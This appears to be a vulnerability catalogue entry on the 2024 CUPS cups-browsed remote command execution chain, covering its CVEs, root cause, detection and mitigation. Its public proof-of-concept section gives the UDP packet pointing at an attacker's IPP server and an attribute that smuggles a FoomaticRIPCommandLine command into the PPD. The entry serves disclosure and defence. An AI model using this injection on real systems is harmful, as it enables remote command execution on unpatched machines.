every *2shell, one place
← all bugs

CUPS cups-browsed RCE Chain

aka CUPS IPP attack chain
Product
OpenPrinting CUPS (cups-browsed, libcupsfilters, libppd, cups-filters)
CVE
CVE-2024-47176CVE-2024-47076CVE-2024-47175
Disclosed
2024-09-26
CVSS
5.3
Auth
pre-auth
CISA KEV
no
Affected
cups-browsed <= 2.0.1, libcupsfilters <= 2.1b1, libppd <= 2.1b1, cups-filters <= 2.0.1 on Linux/Unix systems where cups-browsed listens on UDP/631.
Fixed
Distribution updates (late September / October 2024) that disable cups-browsed's legacy CUPS browsing and sanitize IPP attributes.

Summary

Simone Margaritelli (evilsocket) chained four bugs in the CUPS printing stack. One UDP packet makes a Linux machine add an attacker's printer, and the next time a user prints to it, an attacker-supplied command runs.

Root cause

cups-browsed binds to UDP/631 on all interfaces and trusts any packet announcing a printer URL (CVE-2024-47176), then sends a Get-Printer-Attributes IPP request to the attacker's server. libcupsfilters (cfGetPrinterAttributes5, CVE-2024-47076) and libppd (ppdCreatePPDFromIPP2, CVE-2024-47175) do not sanitize the returned attributes when writing a temporary PPD, so a '*FoomaticRIPCommandLine' directive can be injected, and cups-filters' foomatic-rip runs it when a job is printed (originally CVE-2024-47177, since rejected by NVD as a duplicate of the other three).

Impact

Remote command execution as the lp user once a victim prints to the rogue printer, with no authentication needed to plant it.

Public PoC

# 1) UDP packet to cups-browsed on port 631, in the form:
#    0 3 http://<ATTACKER-IP>:<PORT>/printers/whatever
# 2) attacker's IPP server config: the attribute breaks out of its PPD string
ipp:
  printer-name: EVIL_PRINTER
  # where the magic happens, it's important to preserve the new lines
  printer-privacy-policy-uri: |
    https://www.google.com/"
    *FoomaticRIPCommandLine: "echo 1 > /tmp/PWNED"
    *cupsFilter2 : "application/pdf application/vnd.cups-postscript 0 foomatic-rip
# 3) the command runs when a job is printed to EVIL_PRINTER

Source: evilsocket - Attacking UNIX Systems via CUPS, Part I

Detection

Check whether cups-browsed is running and listening (ss -ulpn | grep 631; systemctl status cups-browsed). Look for unexpected printers in lpstat -v and FoomaticRIPCommandLine in /etc/cups/ppd/*.ppd.

Mitigation

Update packages; disable and stop cups-browsed (systemctl disable --now cups-browsed) and block UDP/631 at the host firewall.

References